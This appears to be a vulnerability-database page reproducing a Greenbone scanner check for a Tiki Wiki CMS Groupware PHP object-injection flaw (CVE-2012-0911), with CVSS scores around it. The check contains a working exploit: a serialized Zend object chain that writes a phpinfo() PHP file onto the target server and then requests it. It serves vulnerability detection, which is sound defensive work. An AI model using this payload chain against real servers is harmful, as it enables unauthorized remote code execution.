CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.3%
Tiki Wiki CMS Groupware is prone to multiple remote PHP code-
execution vulnerabilities.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:tiki:tikiwiki_cms/groupware";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103508");
script_cve_id("CVE-2012-0911");
script_version("2024-01-23T05:05:19+0000");
script_tag(name:"last_modification", value:"2024-01-23 05:05:19 +0000 (Tue, 23 Jan 2024)");
script_tag(name:"creation_date", value:"2012-07-09 14:32:27 +0200 (Mon, 09 Jul 2012)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2024-01-21 02:50:00 +0000 (Sun, 21 Jan 2024)");
script_name("Tiki Wiki CMS Groupware 'unserialize()' Multiple PHP Code Execution Vulnerabilities");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("secpod_tikiwiki_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("TikiWiki/installed");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54298");
script_tag(name:"impact", value:"An attacker can exploit these issues to inject and execute arbitrary
malicious PHP code in the context of the affected application. This may facilitate a compromise of the
application and the underlying system, other attacks are also possible.");
script_tag(name:"affected", value:"Tiki Wiki CMS Groupware 8.3 is vulnerable, other versions may also
be affected.");
script_tag(name:"solution", value:"Updates are available. Please see the references for details.");
script_tag(name:"summary", value:"Tiki Wiki CMS Groupware is prone to multiple remote PHP code-
execution vulnerabilities.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("url_func.inc");
include("misc_func.inc");
if( ! port = get_app_port( cpe:CPE ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
url = dir + "/tiki-rss_error.php";
req = http_get( item:url, port:port);
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( buf !~ "^HTTP/1\.[01] 200" && "tiki-rss_error.php" >!< buf )
exit( 0 );
p = eregmatch( pattern:"(/[^ ]+)tiki-rss_error.php", string:buf );
if( isnull( p[1] ) )
exit( 0 );
path = p[1];
plen = strlen( path );
vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + ".php";
upload = path + file;
ulen = strlen( upload ) + 1;
upload = urlencode( str:upload );
host = http_host_name( port:port );
ex =
string("printpages=O%3A29%3A%22Zend_Pdf_ElementFactory_Proxy%22%3A1%3A%7Bs%3A39%3A%22%2500Zend_Pdf_ElementFactory_Proxy%2500",
"_factory%22%3BO%3A51%3A%22Zend_Search_Lucene_Index_SegmentWriter_StreamWriter%22%3A5%3A%7Bs%3A12%3A%22%2500%2A%2500_",
"docCount%22%3Bi%3A1%3Bs%3A8%3A%22%2500%2A%2500_name%22%3Bs%3A3%3A%22foo%22%3Bs%3A13%3A%22%2500%2A%2500_directory%22%3",
"BO%3A47%3A%22Zend_Search_Lucene_Storage_Directory_Filesystem%22%3A1%3A%7Bs%3A11%3A%22%2500%2A%2500_dirPath%22%3Bs%3A",
ulen,
"%3A%22",
upload,
"%2500%22%3B%7Ds%3A10%3A%22%2500%2A%2500_fields%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A34",
"%3A%22Zend_Search_Lucene_Index_FieldInfo%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22",
"%3B%7D%7Ds%3A9%3A%22%2500%2A%2500_files%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D");
req = string( "POST ", dir, "/tiki-print_multi_pages.php HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Content-Length: ", strlen( ex ), "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Connection: close\r\n",
"\r\n",
ex );
http_keepalive_send_recv( port:port, data:req );
url = dir + '/' + file;
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req );
if( "<title>phpinfo()" >< buf ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.3%